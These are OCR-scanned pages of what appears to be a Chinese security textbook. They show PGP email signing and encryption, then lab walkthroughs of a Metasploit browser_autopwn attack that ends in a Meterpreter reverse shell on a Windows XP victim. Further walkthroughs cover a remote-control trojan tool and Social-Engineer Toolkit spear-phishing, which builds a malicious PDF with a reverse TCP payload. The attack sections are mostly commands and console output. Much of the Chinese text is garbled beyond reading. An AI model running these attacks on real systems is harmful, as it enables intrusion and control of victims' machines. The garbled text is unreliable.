&2 % 1, 3HS Passphrase, B 0] 15 2| — & 2803 & 24 9 W4 an & 10. 2. 18 i,

£ SEf (huangjiebupt@®163. com)
i@ w\E FFQW HAO HALE EH@ ITAED

FiREE RF =] ‘ Pl HEfEL | HERET GEHiE FRkS

4 @ @ [ FT/~tew@-,,‘

Wi A Ihuangjiebuptl?.'lE-S. com l
x4 digital signature test

| ?

———BEGIN PGP SIGNED MESSAGE——
Hash: SHA1L

huang jiebupt, EIF!
ZR—EHE AR F,  FTE A A PGP {A AT AP AT RS .
3!

huangijie
huangijie Z2000@163. com
2005-09-30

—EBEGIN PGP SIGNATURE——
Version: PGPfreeware 6.5.3 for non—commercial use <http://www. pep. com>

104/ AwUBOzxGLawZ+K61DTtgEQTPB0CEq4 711 gF gQfTPRON1 1m/2gp T 8FbMANR gk
OAPLMFU jUHTVNuIeHPZ /vpmo

=g10T A
————END PGP SICNATURE———

filA

., B

A 10218 ZIdFEZME FHpH

M YR S 4 IR S . H AR T HAC 8 PGPtray Bl bR A 7R HE S
Birth £ Current Window—>Decrypt & Verify iy 2 . PGP 2 ¥ &1 B 3F J5 15 3 & 4 & 15
B anE 1002019 Fios,

“* P3P Signature Status: good

== Signer. huangjie <huangjie_2000&163 com:
=* Signed: 2005-9-3011:53:16

“*Venhed: 2005-9-30 11:53:38

*+ BEGIN PGP VERIFIED MESSAGE *=

huangjiebupt » {EIF¢
S—EHETHRY » BT ETHIAPGRIOA HaMH: TR FE L.
2

huangpe
huangpe_2000@E163.com
2005-09-30

== END PGP VERIFIED MESSAGE **=

Capy o Clipboard I oK

B 10219 FRZWUFEMNE FHRHEF
o« 227 o



7. # B PGP % 1% /in %5 #1 25 22 #R 44
B el R A P A B SE BB 1) e S . s B Pl ) & Foxmail, 40 & 10. 2. 20
fF 7~

B S (huangjie 2000@163. com)
HEfF M) #$Wig(E) EF V) #MADO #BAF) EMOQ@ TAD

4 @A A ;_g\@ -

EiE  aeE  3F {2 <L
Wrisk A - huangjie 2000@163. com

ik

E=: encrypt & s1zn test

huangiie 2000, HIF!
i E—EMhH AR, FEMLFPerRT BRI fIE S ThER,
2

huangjie
huang jiiebupt@l 63, com
2005-10-08

B 10220 AFRER—FH B FHRHF

16 T HILE M PGPtray Blbr F Ay . 76 PREESE B rp 3£ $% Current Window—Encryp &
Sign #i4 . 7F Key Selection Dialog i8I fE A A4] . W af Ll £& Clipboard—>Encrypt &
Sign fiy 4« {H & « B FobE o LI 1 PN A 52 i 3 0 I A, o S s 1 R B G A ) N 2
BN 1002, 21 s,

® PGPtray — Eey Selection Dialog

=

Size
2048/1024
4096/1024
2048/1024
2048/1024
2048/1024
2059/ 1024
2059/1024
2059/1024
2059/1024

| Drag users from this list to the Recipients list
[=JAnn Campi <acampi@nai. com.?

[=]Bi11 Blanke <wjbfpgp. com’

[« ]Chanda Groom <chanda_groom@nai. com>
[=lhuangjie_200S <huangjiebupt@1B3. com

[« Jhuanzjiebupt <huangjiebupt@1B3. com.>
'E:j:;sunmﬂnhi:r {i“asc-n@pg[:;l.l coms )

[ Tazon Bobier {:_Iilbubiuerﬂp;i smatix. com>

[[=]Jason Bobier {jbobier@privmet. com.?

[=1Jason Bobier <1d59509@hobbes. kroo. edu>

- P
8" ecovegooef

Sire
2048/1024

Recipients
[=Jhuangjie <huangjie_2000R163. com>

|7 Secure Viewer

|~ Conventional Encryption

B 10221 E£FE %A

o 278 o



s sE G B H W T4 2, X F 25 A B G RV 1 Passphrase, 41 1& 10. 2. 22
fli 7~

PGPtray — Enter Passphrase

ianing key - | by angjie <huangjie_2000@163.com> [DSS5/1024] -

Enter passphrase for above key: v Hide Typing

B 1022 #HFEFH

SERUG SRR IE SC2s A s S i e, W&l 10, 2. 23 s, BARC R ETHE . —EHH
W E NN JG 1 PGP MR s 52 1 T

P SEfE (huangjie_2000@163. com) Mi=1E3
HEFE M) @38 E) EF W) BAQ #BAE EMQ IE@
BB P ey .
wmix  FEREE Bid i HEFsL | WHEEE St BodtkF
e A huangjie 20002163, com
#nxE: E==
£ encrypt & sigh test
EEGIN PGP MESSAGE—— ]

Version: PGPfreeware 6.5.3 for non—commercial use <http://www.psgp. com>

gANQR1DBwlI4DNcB8BskVwckQOE/ 4sgkBRzalOAiPNvKI /oxPMGs TOLJrz5qSTssk?
nzluaYGVInXCYTULETRASTrhZIL86V1 JIbNaY xWpBJ2nSNKgrZSugRds U6 JAPOZ2UK
E1GMORSAZ2zCCHVC cl cFddmOTTE+a8N11Xb2YVrNgpeo jink0gP4dYg053N4anrd i
fRodrZSpEFVETYgN1DSnCxXbYsYvNFvEl faZ2ScEvsm j16fX1vLVtoCWIvVTIalh
EdcNOh96bFCsEulLacmoEOFP 1 PpQ8SkwERY ODo+rtFVVyRNEw+DEvEAL1 ZuTIupllc
Fi jr96fgurdndVhgy+40hO8N JU41WDFOEN3mCOtAUdxen ]/ JNB/9Z02fEXdeHvASY
ENEsRUZ2GHMw6vIc/DByDE o/ nuxXDP75ni TwRR+SpNI+di xPG JXHOBip6 jZP1B1 96T
WYPZVxwlnAGdyswSBszVCidxI+GCF c3VEOy TmvhNSx JarFul JEmShEXwrTAZNncLzs
gBaC9q9xGr+3wBUNSOvI4GvOPYINET1rPONNLAZEnkPHS xbi 83Z fOum+vE cEPmk
T01GnNOSLO2MSG5rCu/C4d4vhGBad jvl+Zmi t+Ry3SoMr4QEMTfDtxDR1RKES2f+0o
1hParrql JOVEexoIyuj3obGPJGnY cmtDExP /COtCHR ceNXLwuHtm1ED T 30bEVwm/
ocTpSpS/veAvHKEZX i BEPSqX JTUWZut5Uk3SxdvLEH1 10DoaNonNIWfEESNBacyvic
jBco2WkLEZhge8¥X0w3eDf JyecZLvvl OKivTJYQVE jeNkY/ 0jiruSsudFulPULTOV
SWEFONAIQTNGAQOOP9Tgd jEdpF vl AvHKpkBirX918Ri1 Z0eM9ETAqtFelgvaey jvn
9GtSNi9pMZtBtokwQBr8xSCZ0inF gCuuyXs9YOONLTRPisZQ3gW,/aL8s5/Agxhd
9HAg Im3SEEKZ2v01zzzt1ESEnNMF9FPsyBBRztQFPewE jSwdivYZDPtIDwdpZ2Pl tdzR
PGiZEpQCHpk=

=hovH

END PGP MESSAGE———
A -

iJ" |

E 10223 HNZ /e AP IE X

S S — B A R o6 U T B R 0 AR I 7 o A L W 10, 2, 24 A
A 10.2. 25 Bk . fE, T PGP X ot 39 385 A S AR A7, e, 43 22 ol AL 0 5 0L
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PGPtray — Enter Passphrase [E”E|

Message was encrypted to the following public keyl(s)
huangjie <huangpe_2000&163.com:> [DH/2045]

Enter passphrase for your private key - ¥ Hide Typing

& 10224 #H A ECFAHH Passprase

Text Viewer

>

== PGP Signature Status: good
*** Signer: huangje <huangjie_2000E163. com:

*#* Signed: 2005-10-8 3:38:51
== Merified: 2005-10-8 3.46:32
*=*BEGIN PGP DECRYPTED/VERIFIED MESSAGE ™
huangjie_2000, 1Z0FY
2 —=EArS » RS PGP F R IO B Thak.

2

huanagje
huangjiebupt@163.com
2005-10-08

= END PGF DECRYFTEDAYERIFIED MESS5AGE =

€

| Lopy ta Clipboard I oK

B 1025 #BMESR

e Al 1 R

« SLEHK,

o FfF b S G A Y R RN 2 SRR
o [ E B AY [a] e L R o T I
o BRWOR SR
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a1 5 S A B dy B0k S 4

11.1 Windows XP Professional SP3 1 | 22 ¢

Windows XP J& Microsoft 23 a]4fE i (19 4 4~ AT HR AL (PO CRL 45 g FH A K H 19 & 203t
BHLSO M PE RS K45 XP i BB Z 5 O P RS (experience) s &4k Windows
2000 & Windows ME . 9X Z J5 1) F —18 Windows #:1E R 58 , 72 Microsoft 23 &) & /> Ifi [7]
H % HAEH Windows NTS. 1 28Ry #a/E R 4. L IR 1% .

11.2  H sh 4k ) %85 Xk 52 56

20 A

PC.1 &.
Windows XP Professional SP3 £%4:.1 £,

Wi >) 2R
H AN 2E R B sh Ak 3 Y s T R,
S AT 55

TR FEAS 1 i 2 VR 0 SCARAR 3 1 ik TR A S B me A £ B A 6 AR T B L 0 28 T 72
oA B TR AT BB AE B RRGER AR, BB 9E — 25 A9 BEOR w2 HE 8 B i X4 P R Y
S A 1

%25 T Windows XP Professional SP3 &2 4: 119 PC,

il %
1 0 V28 T TR
S0 2 4R

1. Windows XP Professional SP3 U #1 g %&£ 3£
(1) MK T %, Windows XP Professional SP3 & SCRR 58 R A« PR AT 2 AS I I 155 42 %6
Fl| VMware REHUHLH .
(2) T VMware g UHLAIE, L% ) ¢ 10 H Ll an & 110 2. 1 Bl 19 5 8 5 40
Bl ) 37 B 1 A — A8 1 R UL
e 231 -



FEELNES S|

W F 3 2 B L

VMWARE

WORKSTATION ERSEATAXINRE?
PRO

l R O EEEEEND)
Bid N S RE S RORE Workstation 12.0
BT

@ JEX(EH)NC)
BlEEEE SCSI SIS | gl
2 RSk VMware S E S kTR
G o

<r—#0@ | [F—sm>] [ mE |

n21 ZEM@F

(3) FERCEIRI P LA E L (HZO OV, e F—4E 7.
(D) FHEAE 11, 2. 2 By 7s 19 “ 3k 28 8 UL RE 7 3 2567 5 b o8 8 84 2R Y
“RELHLAE 4SS MET, B) Workstation 12,0 Bia] , a5 F — 2" 4l .

FEEUNES 2 S|
EEENNFARETSE
Z RN EE (e ThE:?
B ETFRET

R (H): | Workstation 12.0 - |

e |/ ESX Server(5)

FEm BR#:

Fusion 8.x - 64 GB A7F -

Workstation 12.0 16 “~4hEER
10 ol Emies
8 TB A

L8 | <t—5$@ | [ F—sm> || BmH |

1n22 BV FRAEMHKRE

(5) FEH B AN 11, 2. 3 Frn " 3% P LR AE R ” A b 8 R B POt i
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e

TEFPIERFLRR
EHnEmEY, ZERERS - SRINNEEE PHRERR?

TR
O FRIEFED)
|5 DVD RW 3§2h3 (F:) -

© FHEEFLAME S (iso)(M):
E:\\1.&FE T #\en_windows_server_2003_enterprise_vl.iso «

J) B2i&NE Windows Server 2003 Enterprise Edition
R ERGEEREREE . (RERL2)

O EZEREFRGR(S)-
BEMENNERE— P =aER

B 1123 ZEXHERRE

(6) BEBfFE AN 11. 2. 4 Frn 1] 2 & 265 B A G 2 P A — 1 RS0 7 i
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ik P50 A7 B B
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HRFEAEEE
AT Windows Server 2003 Enterprise Edition «
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1k Windows
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L BehER(EEREBNA)

B 1124 ZEEFBRE
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(7)) fER I an &l 11. 2. 5 s 9 4 24 K UL 5 i 19 kg $U AL 25 B (V) 7 e T, 4 &0
PRGN E, B N — D7
vasonss

SR |
T AL B (4

I EHHY):
| Windows Server 2003 En

fum(L):
C:\Users\jiye\Documents\Virtual Machines\Windows Server 2003 [ Sl (R)

| £ HtE "> " BRI Rl BB A R

B 1125 ZEBRERE
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(D) BRI 11, 2.9 Froas fi9° 2 £ 1/0 200 %5 28 87 5t 1 i “ SCST 25 i] #% ™ 128 10
L SRR HERERY ST Logic (L) BRI, 8 T — 2074t

% 1/0 GRS
EEER A2 SCSI ZHEE?

/0 {shBExa
| sesl Es:
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B 1129 |OFEBEE
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EHERE R
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i {E el

© IDEI)
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(15) EHEATaE 11. 2. 13 Bz B9 48 28 1 355 SC” B b, [R)RE 158 £ Bk 2R 1Y S
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TEER R
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Windows Serwver 2003 Enterprise Edition. vmdk _M

B 11213 s E#B XX H

(16) MERHEAF 22 4 7n © M a8 4 2 it i 0L, &l 11, 20 14 Fron . B 58 il %51, &
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FRELNAS “
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SF " FBEEEAN FEEE Windows Server 2003 Enterprise
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. C:\Users\jiye\Documents\Virtual Machines\Windows Server..
MR : Workstation 12.0
F{EERG: Windows Server 2003 Enterprise Edition
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RO
V] g2 S B (R)

<b—5@® ) =m [ ®mH

B 11214 ZpBcESRE

(17) F W EWNLIT B 5 23t A Windows XP Professional Setup $tifii . 28 )5 E I HL 2
H a3 /28, K 11, 2. 15 i
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Windows XP Professional Setup

Please wait while Setup copies files
to the Windows installation folders.
This might take several minutes to complete.

Setup is copying Files...

- |Copuing: wowfaxui.dll

& 11215 33 A Wndows XP Professional Setup 57

(18) nf LR L Bl A8 .l 11. 2. 16 i,

' :
* 2 Windows

Windows XP Professional Setup
Collecting
information Your Product Key

Your Product Eey uniguely identifies your copy of Windows P,
Update

Preparing - : 1
installation O=w PRODUCT KEY: The 25-character Product Key appears on the vellow sticker

(0}

@ Dynamic

(@)
I I . o the hack of your Windows CD folder.

@ rl wibic Type the Product Key below:

Finalizing
installation Entering vour product key now iz ophional but strongly

recommended to help avoid complications during activation

Setup will complete
approximately: e
33 minutes Prockct ey
||:r3245 - |GJHGS - |FII3TBF g IMEHEEI - |J4w<|51

E 11216 REFFARE

2 It , Windows XP Professional SP3 #UHLZE % 4358 .

2. Windows Server 2003 SP0 $E#1221%

Metasploit -5 6 & — L85 %F P 5 a4 S HAG R T 2 & s . 2 It 0 7
1238 B Z 00 W EE ST T H R D0 5T R 2 | RS R 7 S R A D N e AR R AR e AR s
X SE A B e A A N 1Y AT B8 BN D198 3 Mt H bR g R R AT

e 7230 o



Metasploit $& 44t T —A~ { 3l 4L P % a4 I fl B B B browser _autopwn, ¥ 0] UL H 3y
SE N PO T s A R S WA A i IS I SRS B SR AR . T A4 BOKR D DN Y A Y 45 200 L AR
Jo A5 A 1 U s I B e b 8 B 308 192 B H 25 W W e A 8 Tk ) 0T, e e R B 0 A
FRAC KA . X DB R R i fe 13 & iy L 7 e SE by & & Ml b AR B 2.

(1) 7& BTS it )5 3)) Metasploit 2, #E A J5 i ] search iy 4 . 4% 2% U 1l #H 1
R, R Ay 2 F .

root@ bt:~ #msfoconsole

msf> search browser autoown

{2 browser_autopwn FLHL A2 a0 F .

Matching Modules
Name Disclosure Date  Rank Description
ard lary/server/browser aitgown nommel  HITP Client Artamatic Exploiter

(2) i b —2 v A 40 30 19 B0 B R A2 oK R Tz B B R
ms> use awxdliary/server/browser autopn

(3) i ] info iy 4 & FH B AYEEA(E B .
AR B AR A TR E B R

Name: HITP Client Autamatic Exploiter
Module: awdliary/server/browser autopwn
Version: 0

License: BSD License

Rank: MNormal

Provided by:
eqypt< egypt@metasploit.can>

Basic gpotions:
Nemre Current Setting Required Description
THOST Ves The TP address to use for reverse-
comect payloads
SRVHOST 0.0.0.0 Ves The local host to listen on. This must
e an address on the local machine or 0.0.0.0
SRVECRT 8080 Ves The local port to listen on.
SSL false no Negotiate SSL for incaming connections
SSICert no Path to a custam SSL certificate

(default is randomly generated)
SSIVersion SSL3 no Specify the version of SSL that should be used (acospted: SSI2,
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SSI3, TIS1)
URTFATH no The URT to use for this exploit (default is random)

Description:
This modille has three actions. The first (and the default) is
"WebServer' which uses a carbination of client- side and server- side
techniques to fingerprint HITP clients and then autamatically
exploit them. Next 1s 'DefangedDetection' which does only the
fingerprinting part. Iastly, 'list' simply prints the names of all
exploit modules that would be used by the WebServer action given the
current MATCH and EXCIILE cptions. Also adds a 'list' comand which
1s the same as nmning with ACTION= 1ist.

Al DVEH B2 FR AN HTTP Client Automatic Exploiter. 1 egypt $&4it .
FEAR BRI E

o LHOST.: &% %52 4081 [ o8 i 4211 1P Mok

« SRVHOST: w8 ALY n) i Huht o 202002 B BL A AR 3 Hht 5535 0. 0. 0. 0.
* SRVPORT: & Xy HLAY ¥ H . 2N 8080,

« SSL. ¥ SSL & A% Hz,

o SSLCert: &% 4 SSL UE &4, BRI SR ALA: WL m .

« SSLVersion: & ¥ %23 Y SSL 1Y kA , BRIA 2 SSL3.

« URIPATH. ¥ Xy it YA B

(4) X I 171 .

@O WL g e ) TP Hi bk

msf awxdliary (orowser autcoown)> set IHOST 10.10.10.128
BCE S B R R

THOST=>10.10.10.128

@ B SEHLA T 0] H ik

msf awxdliary (orowser autogoWn)> set SRVHOST 10.10.10.128
BCE S A W R W F

SEVHOST= > 10.10.10.128

@ BEE TG T AR AR SR ] auto 2450, &b B 3hik ek b,
msf auxiliary (orowser autcopwn)> set URTPATH auto
BCE S A R W E

URIPATHE > auto

(5) I B L5, TR s ik,

mst awxdliary (orowser autopwn)> nn
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BOE Ja B BRIZ T4 R A

[* ] Axiliary module execution completed

[* ] Setup
[* ] Cofuscating initial javascript 2016- 06— 01 03:59:05 — 0400
mst awaliary (orowser autopwn)> [* ] Done 1n 2.340117776 seconds

[* ] Starting exploit modules on host 10.10.10.128...
[* ] ———

[* ] Starting explolt milti/browser/firefox escape retval with payload generic/shell reverse top
[* ] Using URL: htiyp://10.10.10.128:8080/spx<DRLD

[* ] Server started.

[* ] Starting exploit milti/browser/itms overflow with payload generic/shell reverse top

[* ] Using URL: http://10.10.10.128:8080/WTPOUOVY

[* ] Starting handler for windows/meterpreter/reverse tcp on port 3333
[* ] Starting handler for generic/shell reverse tap on port 6666

[* ] Started reverse handler cn 10.10.10.128:3333

[* ] Starting the payload hardler...

[* ] Starting handler for java/meterpreter/reverse tcp on port 7777

[* ] Started reverse handler cn 10.10.10.128:6666

[* ] Starting the payload handler...
[* ] Started reverse handler on 10.10.10.128:7777

[*% ] Starting the payload handler...
[* ] ———Done, found 56 exploit modules

[* ] Using URL: htigo://10.10.10.128:8080/auto
[* ] Server started.

AT IR IR A T a0 &5 R AE R ey th 0 i JE 25 1 T n] ) 0l B AN BCR 56
A HAFE A TP kil & http://10.10.10. 128:8080/auto.

(6) {FEEHLH D e FT F LA gl TP Mokl 33 705 M) . an & 11. 2. 17 Wi .

FE B v 1) 7 1K 2 6 3 a0 F 9 Mol 25 115 A

[* ] 10.10.10.254 browser autopsn — Handling '/auto'

[* ] 10.10.10.2A4 browser antqown — Hardling '/auto?sessic= THLarZa2Z0IFgdarRvd3-
MAREAGU] AZOrmiVUL XVZ0ng AN JENUOLEO | Yo% 34

[# ] 10.10.10.254 browser autcpwn— JavaScript Report: Microsoft Windows:XP:SP3:en- us:x86:MSIE:6.0:

[# ] 10.10.10.254 browser autopwn- Reporting: {:0s name=> "Microsoft Windows", :os flavor=>"XP", 05 5=
>"sp3", 08 lang=>"enrus", ardE > "xB6E"}

[* ] 10.10.10.254 browser autcpwn — Responding with 44 exploits

[* 1 10. 10. 10. 254 java  atamcreferencearray - Sending Java AtamcReferencefrray Type
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A Loading - Microsoft Internet Explorer

File Edt View Favortes Tools Help E
Qv © MRAG Lo frrons @ 25 @-LJEES

Address |&&] http:/{10.10.10,128:8080/auto v| Go Links ® fpicq ~ || »
é] Opening page http://10.10.10.128:8080fHECILPHNG. .. | uuuuuuuuuu ..] 8 Internet

B 11217 X & =550

Violation Valnerability

[+ ] 10.10.10.254 Jjava atamicreferencearray — Generated Jar to drop (5482 bytes).

[* ] 10. 10. 10. 254  Jjava  atamcreferencearray - Sending Java AtamcReferencefrray Type
Violation Vulnerability

[* ] 10.10.10.254 Jjava atamicreferencearray — Generated Jar to drop (5482 bytes).

[* ] 10.10.10.254 Jjava Jrel7 exec - Java 7 Agplet Ramte Code Execution handling request

[* ] 10. 10. 10. 254  Jjava  atamcreferencearray - Sending Java AtamcReferencefrray Type
Violation Valnerability

[* ] 10.10.10.254 Java atamicreferencearray — Generated Jar to drop (5482 bytes).

[* ] 10.10.10.254 Jjava Jrel7 exec - Java 7 Agplet Ramte Code Execution handling request

[* ] 10.10.10.254 Jjava jrel7 glassfish averagerangestatisticimpl -handling request for /CfOam

[* ] 10.10.10.254 Jjava Jrel7 glassfish averagerangestatisticimpl - handling request for /CfOam/

[* ] 10.10.10.254 Jjava jrel7 glassfish averagerangestatisticimpl - handling request for /CfOam

[* ] 10.10.10.254 Java Jrel7 reflection types —handling request for /hSKC

[* ]10.10.10.254 ie createdbject - Sending exploit HIML...

[* ] 10.10.10.254 msl0 018 ile behaviors - Sending Internet Explorer DHIML Behaviors Use After Free (target:

IE 6 SPO- SP2 (onclick)) ...

[+ ] 10.10.10.254 gople quicktime marshaled punk - Sending exploit HIML...

[%]10.10.10.254 apple quicktime rtsp - Sending init HIML

[* ] Sending stage (751104 bytes) to 10.10.10.2%4

[* ] Meterpreter session 1 gpened (10.10.10.128:3333 — >10.10.10.254:1053) at 2016- 06— 01 08:47:06 — 0400

[% ] Session ID 1 (10.10.10.128:3333 - >10.10.10.254:1053) processing InitialAuntcRunScript 'migrate — £

[* ] Current server process: lexplore.exe (3312)

[* ] Spawning notepad.exe process to migrate to

[+ ] Migrating to 2780

[+ ] Successfully migrated to process

AUEHR BGEEGREEPAR TS B EEUT A RE, BKAT LA S W R
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(EJSE
2 v YR 2y 1 8 20 {5 B, B JavaSeript Report: Microsoft Windows: XP: SP3:en—
us:x86: MSIE:6.0: .

T A A B 2 fr . B Meterpreter session 1 opened (10. 10. 10. 128.3333 —>10. 10.
10. 254:1053) . HAE A #EFE 1D 525 1053,

P A By 2 fer J o B R 2 R (0] 25 s Wy g — > 23 0 o BN ZZ R B 1) LHOST [ kb BV A 55
Wz 2zl

(7) Y dm A A 2=

@ 7Bk v v 1 5 ACE I Y A A

sessions — 1

Wit O Zs B s 5.,

1  meterpreter x86/win32 DH- CABB22ABY589\ Administrator @DH- CAS822AB9589 10.10.10.128:3333 - > 10.10.10.
254:1053 (192.168.10.128)

2oy T 2R e W s )9 B2
@ FILAA S0 W (9 75 sl if 1D 1L Rl R i A fr & A 06

msf awxdliary (orowser autopwn)> sessions — 11
WWrvm 5 R T .
[*% ] Starting interaction with 1...

@ fdi ] sysinfo ap & . A EHLHLAIMLIE L .

meterpreter> sysinfo

R R T .

Camputer : DH- CASB22RAB9589

oS : Windows XP (Build 2600, Service Pack 3).
Architecture : %86

System Language »en US

Meterpreter : X86/win32

F U, B &M TR H AR g H s 2o iy 4 ad 7
o 412 1 SR

o [fF b SZEG I R BY AR E R 4G R AR
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W12 5 AR SR S B ie sk g

5 2 b

CUKWAN AN AR SR &
PC,1 &.

Pl >) EoR

(1) sl 2 5K SH RMNE.
(2) A B

(3) AR H T A M IEARPRAE LR .

(1) 7 > i

542 155

P fifp AN 4R K Eh A% 17k Flaz 47 i AL i 0 T S BR R 5, 548 A A R B AU R R 5 7Y £
TG, 2 2 B AR S5 9 AR SR AR, 42 i X R B i 22 e B i R

A . Windows 2000/ XP F#1.
BAEAREE . “oKm "M AN B A R R E

T §5 1 A

(1) A%k,
(2) KRG ARIERE.

1. “WKiA" KBy ER

KT EE N —AEE A AR S, D REAE R R K. UK — i A SO 4 R
G_Client fil G_Server, HH G_Server j& A 5 1Y iR 55 %% i » B0 & H R A A B ds EHLAVFE T
G_Client 52K 519 & 7 b o 902 AR S 09 35 il . SE 3T I il v G _Client, 580 H oK 7 119 5
B, 12,1 R

T A T B S T B EA B ONEREA) .

(1) M ENL: B 88 W45 v TP bk 78 0 22 F AL 3%, [F A 3 B 4 1 ] 12 Ko 1, 2
BEORAEAE Operate. ini SCHH UG A E B A . WPRTE LB M E . o] DUEHrdsiniz £

Pl B 7E 3 2 1 EOR A VT ) A A v IR PR AT I
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% YKy V2.2 [DARKSUNE fifi ]
THF]  GRIB(E]  BE(G]  MBHH

L= Fe bl T LA

| i : [ToalHost =1 wmn: ez wEne: | © A

A XHEER | By aohlg |

B AT | TR FB) [ BEERRE

[# LocalHos ; g
. = e = £ th LR
e IE B £ TR IEAEIY)
EPLAI&R R,
TEIX

B 121 KA £F |

(2) MHBREBL . B8 W45 v 1P kb DN FEALF1 2% rp M B A DG 15 et b 1) e 35 B3 )

(3) AR MRIEE PN R K" 1R

(4) #2755 % . A 75 95 0 42 i B

(5) Frmda il . m TR BUAR B o A A A .

(6) “PK " Fd . R0 UK =

(7) F2 1.2 fAS . k™ vk " R T B 1. 2 pAS 19 il 55 4 1 ) .

(8) BUGL B E . LB Vi) H 4 WU v H 35 ik 55 # B2 7 0 . A E i [ A%
A A B ST BT AERL .

(9) e EARHAR TS 2T . TR AT G_Server. exe #H4THCE (Hl 02 B¥K s &5 1P &
1% B 45 € A5 A8 o8R W W v 1 DA BB D ) 455

1) At I pKmr X e F 1H SEAIL i A7 4 ol

E—G Hbs B B AR, BE K EI EEsfs

G _Server AE N5 28 v s 7E 55 — & FEWL iz 17 G_Client, fE Sz |test ~]

Ay i) Vi SHlbgf: P02 112,253 135
T4 il v A 5 B PREE T B v i 78 i EHLHZ mEne |

0 12, 2 7 RS L

WIRAFR: B W78 AE 3 P A 24 B
EHLHAE : AR TS v S EALAY TP Mk
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I

A P e 1< KT R DA A W Wy 3 11 52 7626 . 455 4l i o] LA 2B LA Gg kB kRS .
P L BO T DLE B ENLm EEIN T 48 test 9 FEHL. ANE 12. 3 Fiizw .
X A Ll test ML, a0 A% 42 T 02 48 7R R 55 i B AL BB IR 12,3 R T
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AT U

(1) A2 TR o Moy J B

(2) A5 fa e

Sl 08

(1) 7 Back Track 5 F137H T H4E,

@ TJF/pentest/exploits L%k,
root@bt:~ # ad /pentest/exploits/

@ HH 1s ar & F X e b iy SCUHE B
root@bt : /pentest/esploitst 1s — a

WG I exploits U N R SCAHE R A0 F .

total 28
drwxr- xr—-x 4 root root 4096 2011- 07- 12 06:59 exploitdo
drwoar-xr—x 7 root root 409 2011- 08— 16 13:33 fasttrack

lrwrwxrwx 1 root root 19 2011- 08— 18 12:25 framework — > /opt/framework/mst3
drwr—xr—x 14 root root 4096 2011- 05- 10 03:41 framework?
drwxr-xr—x 9 501 staff 4096 2011- 06— 07 14:17 isr- evilgrade

drwr—xr—x 10 root root 409 2011- 05— 10 03:42 sgpyto
drwa—-xr—-x 8 root root 409 2011- 08- 16 18:56 set
drwr—xr—x 2 root root 409% 2011- 05— 10 03:42 gpamhole

@ M E TR SR E B A F T SET SCPF e ik A SCfF ke .

root@bt: /pentest/exploits# od set/
@ fEH]. /set ap4 4TI SET T HAE.
root@bt : /pentest/exploits/set# . /set

WwEEMSET TEEIF T HEMNEEWT .
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[---1 Created by: David Kemnedy (ReLlK) [-——
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[---1 Develgarent Team: JR DePre (prime) - ——
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[---1 Followme on Twitter: dave rellk [ ——]
[---1 Hamepage: http://www.seareniac.can e

Welcare to the Social- Engineer Toolkit (SET) . Your one
stop shop for all of your social- engineering neads. .
DerbyCon 2011 Ser30- Oct02 — http: //wii .derbycon. oom.
Join us on irc.freenode.net in channel # setoolkit
Select fram the menu:

1) Spear- Phishing Attack Vectors

2) Website Attack Vectors

3) Infectious Media Generator

4) Create a Paylcad and Listener

5) Mass Mailler Attack

6) Arduino- Based Attack Vector

7) S Spoofing Attack Vector

8) Wireless Acoess Point Attack Vector

9) Third Party Modiles

10) Update the Metasploit Framework

11) Update the Social- Engineer Toolkit

12) Help, Credits, and About

99) Exit the Social- Engineer Toolkit

(2) B A 1,35 Spear-Phishing Attack Vectors %€ 3, BV &F X% 4 4 16 1R 4 X 45 ) &
SET T.HA &t — 47 i Spearphishing i 77 ¥4 B9 12E T

set> 1
% & 5 1 Spearphishing Wi 7L a0 F .

The Spearphishing module allows you to specially craft email messages and send
them to a large (or small) nurber of pecple with attached fileformat malicious
payloads. If you want to spoof your email address, be sure "Sendmail" 1s in-
stalled (it is installed in BT4) and change the config/set config SENIMATL=CFF
flag to SENIMATT~= CN.

There are two gotions, one is getting your feet wet and letting SET do
everything for yvou (gotion 1), the second is to create your own FileFormat
payload and use 1t 1n your own attack. Either way, good luck and enjoy!

1) Perform a Mass Frail Attack
2) Create a FileFomat Paylcad
3) Create a Social- Engineering Tamplate

99) Returmn to Main Menu

(3) H-IEI A 1.1E+#: Perform a Mass Email Attack 15830 . 17— U BE & 89 A HP A4 I
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i AR 5 E A DR T, B 37 45 M A
set:phishing> 1
BB e 1 T 28 ey a2 LN TS

Select the file format exploit you want.
The default is the PDOF aembedded EXE.

KRN XX XXX®Y PAYTORDS 33333 % K% %%

1) SET Custom Written DIL Hijacking Attack Vector (RER, ZIP)
2) SET Custcam Written Document UNC IM SVB Capture Attack
3) Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow
4) Microsoft Word RIF pFragrents Stack Buffer Overflow (MS10- 087)
5) Bddoe Flash Player "Button" Ramote Code Execution
6) Edcbe CoolType SING Table ™miqueName" Overflow
7) Bdcoe Flash Player "newfinction" Invalid Pointer Use
8) Addbe Collab.collectFmallInfo Buffer Overflow
9) Addoe Collab.getIcon Buffer Overflow
10) Adobe JBIG2Decode Mamory Cornaotion Exploit
11) Addbe POF Erbedded EXE Social Engineering
12) Adobe util.printf() Buffer Overflow
13) Custam EXE to VBA (sent via RAR) (RER required)
)
)
)
)

[

4) Adcle U3D CLODProgressiveMeshDeclaration Array Overnin
S
16
17

[

Adcle POF Erbedded EXE Social Engineering (NOJS)
Fosit PDF Reader v4.1.1 Title Stack Buffer Overflow
Nuance FOF Reader vo.0 Iaunch Stack Buffer Overflow

(1) &y A 6,3 Adobe Cool Type SING Table “uniqueName” Overflow $EI , 1Z £ e
FEXF A2 Adobed. 3. 4 ZHif 1Y ) 12 s WA s ) B H D Bt — 4> 44 O SING (19 R X R b 24
A uniqueName [1) 2 B0E BAR Z2 A7 X i i

setpayloads> ©

B e ) B 8 ey 19 2R AT

1) Windows Reverse TCP Shell Spawn a camand shell on victim and send back to attacker
2) Windows Meterpreter Reverse TCP Soawn a meternoreter shell an victim and sand
ack to attacker
3) Windows Reverse VNC DLL Spawn a VNC server on victim and send back
to attacker
4) Windows Reverse TCP Shell (x64) Windows X64 Camend Shell, ReverseICP
Inline
5) Windows Meterpreter Reverse TCP (Xe4) Canect kack to the attacker (Windows x64),
Metenoreter
6) Windows Shell Bind TCP (X&4) Execute payload and create an accepting port on ramote system
7) Windows Meterpreter Reverse HITES Tunnel camimnication over HITP using SSL and use Meterpreter
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(5) &y A 2, 1% £ Windows Meterpreter Reverse TCP & i, &8 #1852 4 il — 4
Meterpreter 2> i, 3 [0 % 2| 4L .

set ipayloads> 2
BCE Ja MZCEHLIF S 1 433 dm ANk .

set ipayloads> Port to connect back on [443]:

[- ] Defaulting to port 443...

[- ] Garerating fileformat exploit...

[* ] Payload creation camolete.

